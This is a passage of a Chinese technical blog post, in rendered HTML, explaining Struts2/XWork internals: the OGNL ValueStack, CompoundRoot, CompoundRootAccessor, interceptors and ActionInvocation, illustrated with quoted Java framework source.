class="keyword">protected</span> <span class="title">OgnlValueStack</span><span class="params">(XWorkConverter xworkConverter, CompoundRootAccessor accessor, TextProvider prov, <span class="keyword">boolean</span> allowStaticAccess)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.setRoot(xworkConverter, accessor, <span class="keyword">new</span> CompoundRoot(), allowStaticAccess);</span><br><span class="line"> <span class="keyword">this</span>.push(prov);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="title">OgnlValueStack</span><span class="params">(ValueStack vs, XWorkConverter xworkConverter, CompoundRootAccessor accessor, <span class="keyword">boolean</span> allowStaticAccess)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.setRoot(xworkConverter, accessor, <span class="keyword">new</span> CompoundRoot(vs.getRoot()), allowStaticAccess);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Inject</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setOgnlUtil</span><span class="params">(OgnlUtil ognlUtil)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.ognlUtil = ognlUtil;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">setRoot</span><span class="params">(XWorkConverter xworkConverter, CompoundRootAccessor accessor, CompoundRoot compoundRoot, <span class="keyword">boolean</span> allowStaticMethodAccess)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.root = compoundRoot;</span><br><span class="line"> <span class="keyword">this</span>.securityMemberAccess = <span class="keyword">new</span> SecurityMemberAccess(allowStaticMethodAccess);</span><br><span class="line"> <span class="keyword">this</span>.context = Ognl.createDefaultContext(<span class="keyword">this</span>.root, accessor, <span class="keyword">new</span> OgnlTypeConverterWrapper(xworkConverter), <span class="keyword">this</span>.securityMemberAccess);</span><br><span class="line"> <span class="keyword">this</span>.context.put(<span class="string">"com.opensymphony.xwork2.util.ValueStack.ValueStack"</span>, <span class="keyword">this</span>);</span><br><span class="line"> Ognl.setClassResolver(<span class="keyword">this</span>.context, accessor);</span><br><span class="line"> ((OgnlContext)<span class="keyword">this</span>.context).setTraceEvaluations(<span class="keyword">false</span>);</span><br><span class="line"> ((OgnlContext)<span class="keyword">this</span>.context).setKeepLastEvaluation(<span class="keyword">false</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>在内部真正起作用的是CompoundRoot的数据结构,他继承了ArrayList。ArrayList是一个链表结构,只要通过对ArrayList中元素的相关操作,就可以实现“先进后出”的效果。</p><h4 id="计算功能"><a href="#计算功能" class="headerlink" title="计算功能"></a>计算功能</h4><p>上面是ValueStack作为Stack的数据结构,下面来看一看ValueStack的Value部分。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> Object <span class="title">findValue</span><span class="params">(String expr)</span></span></span><br><span class="line"><span class="function">publicvoid <span class="title">setValue</span><span class="params">(String expr, Object value, <span class="keyword">boolean</span> throwExceptionOnFailure)</span></span></span><br></pre></td></tr></table></figure><p>可以看出ValueStack也可以计算表达式。因此ValueStack是一个栈的数据结构,同时他拥有表达式引擎计算能力。</p><p>因此ValueStack是:</p><ul><li>XWork进行OGNL计算的场所</li><li>XWork进行数据访问的基础</li></ul><h4 id="ValueStack对OGNL计算规则的特点"><a href="#ValueStack对OGNL计算规则的特点" class="headerlink" title="ValueStack对OGNL计算规则的特点"></a>ValueStack对OGNL计算规则的特点</h4><p>OGNL在进行表达式计算时的基本逻辑是:从栈顶端开始对栈内每个元素进行表达式匹配运算,并返回第一个成功匹配的结果。因此ValueStack支持多个Root对象的OGNL操作的本质是栈内元素遍历。我们不关心ValueStack的元素顺序,因为OGNL表达式在ValueStack中能够返回多个值的可能性不大。</p><h4 id="栈顶元素和子栈"><a href="#栈顶元素和子栈" class="headerlink" title="栈顶元素和子栈"></a>栈顶元素和子栈</h4><p>我们知道ValueStack在内部维护的栈是一个ArrayList,因此可以通过数组下表访问到元素。</p><p>栈顶:数组下表为0的元素,也是最后一个被压入栈的元素,ValueStack为他定义了一个访问关键字:top</p><p>子栈:数组下表为1,2这样的元素。</p><p>ValueStack使用[1]~[n]表示所有子栈</p><p>子栈的特点:</p><ul><li>一个大小为N的ValueStack,除了自身外,有N-1个子栈</li><li>每个子栈自身也是一个ValueStack,</li><li>相当于递归数据结构</li></ul><h3 id="深入ValueStack实现"><a href="#深入ValueStack实现" class="headerlink" title="深入ValueStack实现"></a>深入ValueStack实现</h3><h4 id="CompoundRoot"><a href="#CompoundRoot" class="headerlink" title="CompoundRoot"></a>CompoundRoot</h4><p>CompoundRoot是ValueStack核心数据结构。他是一个栈结构,本质上是一个ArrayList</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CompoundRoot</span> <span class="keyword">extends</span> <span class="title">ArrayList</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">CompoundRoot</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">CompoundRoot</span><span class="params">(List list)</span> </span>{</span><br><span class="line"> <span class="keyword">super</span>(list);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> CompoundRoot <span class="title">cutStack</span><span class="params">(<span class="keyword">int</span> index)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> CompoundRoot(<span class="keyword">this</span>.subList(index, <span class="keyword">this</span>.size()));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">peek</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.get(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">pop</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.remove(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">push</span><span class="params">(Object o)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.add(<span class="number">0</span>, o);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>从源码角度看,CompoundRoot就是一个栈结构,有常规的peek(返回栈顶元素),入站出站规则。cutStack方法会返回一个新的CompundRoot,当需要对子栈进行访问时,会通过这个方法返回一个子栈的结构,再进行链式的递归调用。这一递归调用体现了ValueStack数据结构的精妙之处(递归数据结构)。</p><h4 id="CompoundRootAccessor"><a href="#CompoundRootAccessor" class="headerlink" title="CompoundRootAccessor"></a>CompoundRootAccessor</h4><p>OgnlValueStackFactory对ValueStack进行初始化,对OGNL的计算指定许多默认的实现方式</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">OgnlValueStackFactory</span> <span class="keyword">implements</span> <span class="title">ValueStackFactory</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> XWorkConverter xworkConverter;</span><br><span class="line"> <span class="keyword">private</span> CompoundRootAccessor compoundRootAccessor;</span><br><span class="line"> <span class="keyword">private</span> TextProvider textProvider;</span><br><span class="line"> <span class="keyword">private</span> Container container;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">boolean</span> allowStaticMethodAccess;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">OgnlValueStackFactory</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Inject</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setXWorkConverter</span><span class="params">(XWorkConverter conv)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.xworkConverter = conv;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Inject</span>(<span class="string">"system"</span>)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setTextProvider</span><span class="params">(TextProvider textProvider)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.textProvider = textProvider;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Inject</span>(</span><br><span class="line"> value = <span class="string">"allowStaticMethodAccess"</span>,</span><br><span class="line"> required = <span class="keyword">false</span></span><br><span class="line"> )</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setAllowStaticMethodAccess</span><span class="params">(String allowStaticMethodAccess)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.allowStaticMethodAccess = <span class="string">"true"</span>.equalsIgnoreCase(allowStaticMethodAccess);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> ValueStack <span class="title">createValueStack</span><span class="params">()</span> </span>{</span><br><span class="line"> ValueStack stack = <span class="keyword">new</span> OgnlValueStack(<span class="keyword">this</span>.xworkConverter, <span class="keyword">this</span>.compoundRootAccessor, <span class="keyword">this</span>.textProvider, <span class="keyword">this</span>.allowStaticMethodAccess);</span><br><span class="line"> <span class="keyword">this</span>.container.inject(stack);</span><br><span class="line"> stack.getContext().put(<span class="string">"com.opensymphony.xwork2.ActionContext.container"</span>, <span class="keyword">this</span>.container);</span><br><span class="line"> <span class="keyword">return</span> stack;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> ValueStack <span class="title">createValueStack</span><span class="params">(ValueStack stack)</span> </span>{</span><br><span class="line"> ValueStack result = <span class="keyword">new</span> OgnlValueStack(stack, <span class="keyword">this</span>.xworkConverter, <span class="keyword">this</span>.compoundRootAccessor, <span class="keyword">this</span>.allowStaticMethodAccess);</span><br><span class="line"> <span class="keyword">this</span>.container.inject(result);</span><br><span class="line"> stack.getContext().put(<span class="string">"com.opensymphony.xwork2.ActionContext.container"</span>, <span class="keyword">this</span>.container);</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Inject</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setContainer</span><span class="params">(Container container)</span> <span class="keyword">throws</span> ClassNotFoundException </span>{</span><br><span class="line"> Set<String> names = container.getInstanceNames(PropertyAccessor.class);</span><br><span class="line"> Iterator i$;</span><br><span class="line"> String name;</span><br><span class="line"> Class cls;</span><br><span class="line"> <span class="keyword">if</span> (names != <span class="keyword">null</span>) {</span><br><span class="line"> i$ = names.iterator();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(i$.hasNext()) {</span><br><span class="line"> name = (String)i$.next();</span><br><span class="line"> cls = Class.forName(name);</span><br><span class="line"> <span class="keyword">if</span> (cls != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">if</span> (Map.class.isAssignableFrom(cls)) {</span><br><span class="line"> PropertyAccessor var6 = (PropertyAccessor)container.getInstance(PropertyAccessor.class, name);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> OgnlRuntime.setPropertyAccessor(cls, (PropertyAccessor)container.getInstance(PropertyAccessor.class, name));</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.compoundRootAccessor == <span class="keyword">null</span> && CompoundRoot.class.isAssignableFrom(cls)) {</span><br><span class="line"> <span class="keyword">this</span>.compoundRootAccessor = (CompoundRootAccessor)container.getInstance(PropertyAccessor.class, name);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> names = container.getInstanceNames(MethodAccessor.class);</span><br><span class="line"> <span class="keyword">if</span> (names != <span class="keyword">null</span>) {</span><br><span class="line"> i$ = names.iterator();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(i$.hasNext()) {</span><br><span class="line"> name = (String)i$.next();</span><br><span class="line"> cls = Class.forName(name);</span><br><span class="line"> <span class="keyword">if</span> (cls != <span class="keyword">null</span>) {</span><br><span class="line"> OgnlRuntime.setMethodAccessor(cls, (MethodAccessor)container.getInstance(MethodAccessor.class, name));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> names = container.getInstanceNames(NullHandler.class);</span><br><span class="line"> <span class="keyword">if</span> (names != <span class="keyword">null</span>) {</span><br><span class="line"> i$ = names.iterator();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(i$.hasNext()) {</span><br><span class="line"> name = (String)i$.next();</span><br><span class="line"> cls = Class.forName(name);</span><br><span class="line"> <span class="keyword">if</span> (cls != <span class="keyword">null</span>) {</span><br><span class="line"> OgnlRuntime.setNullHandler(cls, <span class="keyword">new</span> OgnlNullHandlerWrapper((NullHandler)container.getInstance(NullHandler.class, name)));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.compoundRootAccessor == <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> IllegalStateException(<span class="string">"Couldn't find the compound root accessor"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">this</span>.container = container;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中多次调用了compoundRootAccessor</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CompoundRootAccessor</span> <span class="keyword">implements</span> <span class="title">PropertyAccessor</span>, <span class="title">MethodAccessor</span>, <span class="title">ClassResolver</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Logger LOG = LoggerFactory.getLogger(CompoundRootAccessor.class);</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> Map invalidMethods = <span class="keyword">new</span> HashMap();</span><br><span class="line"> <span class="keyword">static</span> <span class="keyword">boolean</span> devMode = <span class="keyword">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">CompoundRootAccessor</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Inject</span>(<span class="string">"devMode"</span>)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">setDevMode</span><span class="params">(String mode)</span> </span>{</span><br><span class="line"> devMode = <span class="string">"true"</span>.equals(mode);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setProperty</span><span class="params">(Map context, Object target, Object name, Object value)</span> <span class="keyword">throws</span> OgnlException </span>{</span><br><span class="line"> CompoundRoot root = (CompoundRoot)target;</span><br><span class="line"> OgnlContext ognlContext = (OgnlContext)context;</span><br><span class="line"> Iterator i$ = root.iterator();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(i$.hasNext()) {</span><br><span class="line"> Object o = i$.next();</span><br><span class="line"> <span class="keyword">if</span> (o != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span> (OgnlRuntime.hasSetProperty(ognlContext, o, name)) {</span><br><span class="line"> OgnlRuntime.setProperty(ognlContext, o, name, value);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (o <span class="keyword">instanceof</span> Map) {</span><br><span class="line"> Map<Object, Object> map = (Map)o;</span><br><span class="line"> map.put(name, value);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (IntrospectionException var10) {</span><br><span class="line"> ;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Boolean reportError = (Boolean)context.get(<span class="string">"com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp"</span>);</span><br><span class="line"> String msg = <span class="string">"No object in the CompoundRoot has a publicly accessible property named '"</span> + name + <span class="string">"' (no setter could be found)."</span>;</span><br><span class="line"> <span class="keyword">if</span> (reportError != <span class="keyword">null</span> && reportError) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> XWorkException(msg);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (devMode) {</span><br><span class="line"> LOG.warn(msg, <span class="keyword">new</span> String[<span class="number">0</span>]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getProperty</span><span class="params">(Map context, Object target, Object name)</span> <span class="keyword">throws</span> OgnlException </span>{</span><br><span class="line"> CompoundRoot root = (CompoundRoot)target;</span><br><span class="line"> OgnlContext ognlContext = (OgnlContext)context;</span><br><span class="line"> <span class="keyword">if</span> (name <span class="keyword">instanceof</span> Integer) {</span><br><span class="line"> Integer index = (Integer)name;</span><br><span class="line"> <span class="keyword">return</span> root.cutStack(index);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (!(name <span class="keyword">instanceof</span> String)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">"top"</span>.equals(name)) {</span><br><span class="line"> <span class="keyword">return</span> root.size() > <span class="number">0</span> ? root.get(<span class="number">0</span>) : <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> Iterator i$ = root.iterator();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(<span class="keyword">true</span>) {</span><br><span class="line"> Object o;</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> <span class="keyword">if</span> (!i$.hasNext()) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> o = i$.next();</span><br><span class="line"> } <span class="keyword">while</span>(o == <span class="keyword">null</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span> (OgnlRuntime.hasGetProperty(ognlContext, o, name) || o <span class="keyword">instanceof</span> Map && ((Map)o).containsKey(name)) {</span><br><span class="line"> <span class="keyword">return</span> OgnlRuntime.getProperty(ognlContext, o, name);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (OgnlException var10) {</span><br><span class="line"> <span class="keyword">if</span> (var10.getReason() != <span class="keyword">null</span>) {</span><br><span class="line"> String msg = <span class="string">"Caught an Ognl exception while getting property "</span> + name;</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> XWorkException(msg, var10);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (IntrospectionException var11) {</span><br><span class="line"> ;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>CompoundRootAccessor对无论属性访问或者方法访问都做了重新定义。也就是说ValueStack进行Ognl计算时都会循环扫描CompoundRoot所有元素。</p><p>在对于ActionContext和ValueStack的关系上,他们是形影不离的。</p><p>ActionContext的创建,总是伴随着ValueStack的创建。</p><h2 id="控制流体系-1"><a href="#控制流体系-1" class="headerlink" title="控制流体系"></a>控制流体系</h2><h3 id="Action"><a href="#Action" class="headerlink" title="Action"></a>Action</h3><p>方法主体:Action接口的具体实现类是Xwork进行核心业务逻辑处理的场所</p><p>运行参数:接口方法不包含参数,无论是请求参数还是响应返回数据都以Action中属性变量的形式出现。</p><p>返回值:返回值是一个字符串,表示一个业务逻辑是否成功的标志。</p><p>action的两个突破点:</p><ol><li>突破了传统Servlet模式中响应对象对web容器的依赖</li><li>突破了传统Servlet模式中相依红对象无状态的限制</li></ol><p>Action的两个特征:</p><ol><li>属性特征:</li></ol><p>Action主要表现了对象自身的状态,对象与其他对象之间的协作关系。</p><p>前者成为XWork进行数据访问的基础,后者成为对象之间协作关系的描述。</p><ol><li>行为特征:</li></ol><p>指对特定请求进行相应的过程。</p><h3 id="Interceptor"><a href="#Interceptor" class="headerlink" title="Interceptor"></a>Interceptor</h3><h4 id="基本概念-1"><a href="#基本概念-1" class="headerlink" title="基本概念"></a>基本概念</h4><p>本质是一段代码可以通过定义一个组织点,来指定interceptor的代码逻辑在组织点元素的之前或者之后执行。</p><p>AOP相关概念:</p><p>切面:一个关注点的模块化,这个关注点的实现可能横切多个对象。模块化的过程由Interceptor来实现</p><p>连接点:程序执行过程中明确的点。</p><p>切入点:制定一个通知将被引发的一系列连接点集合。</p><p>通知:在特定的连接点,aop框架指定的动作。</p><p>从最上面的图,可以看出的Interceptor的特点:</p><ul><li>群居:同一时刻总有多个Interceptor对象同时存在并协作</li><li>栈结构:Interceptor和Interceptor互相包裹形成栈结构,Action对象包裹在对底层,作为栈底。</li><li>执行栈:Action Invocation所执行的调度逻辑,是针对整个栈结构。</li></ul><h4 id="Interceptor的定义"><a href="#Interceptor的定义" class="headerlink" title="Interceptor的定义"></a>Interceptor的定义</h4><p>Interceptor源码是一个接口,有destory()、init()、intercept()方法,自己写一个简单的Interceptor源码,实现intercept,将Actioninvocation当做参数传入。原因是:</p><ul><li>便于Interceptor随时与控制流和数据流的其他元素沟通。因为SctionInvocation的操作接口中不仅仅包含控制员幻速Action和ActionProxy的访问接口,也包含了ActionContext和ValueStack的访问接口。</li><li>便于ActionInvocation在Interceptor的内部进行执行调度。</li></ul><p>方法内部只有一句invocation.invoke(); invoke是ActionInvocation的核心,意思是对Interceptor对象和Action对象共同构成的执行栈进行逻辑执行调度。</p><p>在Interceptor内部有两种不同的逻辑执行顺序:</p><ul><li>调用ActionInvocation的Invoke方法指定对执行栈进一步的调度执行。inteceptor在完成自身逻辑之后,有责任把执行的控制权交给执行栈的下一个元素继续执行,下一个元素不是action就是interceptor,形成了一个递归调用。invoke方法及时触发整个递归调用链的入口,调用的结果也是整个执行栈的执行结果。invoke方法的调用触发了执行栈中剩余interceptor对象和action对象的执行完成并返回结果。</li><li>返回一个String类型的ResultCode来种终止执行栈的调用。</li></ul><h3 id="ActionInvocation"><a href="#ActionInvocation" class="headerlink" title="ActionInvocation"></a>ActionInvocation</h3><p>ActionInvocation在Xwork控制流中是核心调度器</p><p>代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">publicinterface ActionInvocation extends Serializable {</span><br><span class="line"></span><br><span class="line"><span class="function">Object <span class="title">getAction</span><span class="params">()</span></span>;<span class="comment">//获取与当前绑定的action对象</span></span><br><span class="line"><span class="function"><span class="keyword">boolean</span> <span class="title">isExecuted</span><span class="params">()</span></span>;<span class="comment">// 判断是否完成对Action和Result的调度执行</span></span><br><span class="line">ActionContextgetInvocationContext();<span class="comment">//获取当前半丁的actionContext</span></span><br><span class="line"><span class="function">ActionProxy <span class="title">getProxy</span><span class="params">()</span></span>;<span class="comment">//获取当前绑定的actionProxy对象</span></span><br><span class="line"><span class="function">Result <span class="title">getResult</span><span class="params">()</span> throwsException</span>;<span class="comment">//获取result对象</span></span><br><span class="line"><span class="function">String <span class="title">getResultCode</span><span class="params">()</span></span>;<span class="comment">//获取调度执行结果代码</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">setResultCode</span><span class="params">(Stringvar1)</span></span>;<span class="comment">// 设置调度执行的结果代码,往往用于重置Action对象</span></span><br><span class="line"><span class="function">ValueStack <span class="title">getStack</span><span class="params">()</span></span>;<span class="comment">//获取与当前绑定的ValueStack</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">addPreResultListener</span><span class="params">(PreResultListener var1)</span></span>;<span class="comment">//注册一个PreResultListener</span></span><br><span class="line"><span class="function">String <span class="title">invoke</span><span class="params">()</span> throwsException</span>;<span class="comment">//单单执行操作Action的接口</span></span><br><span class="line"><span class="function">String <span class="title">invokeActionOnly</span><span class="params">()</span> <span class="keyword">throws</span> Exception</span>;</span><br><span class="line"><span class="function"><span 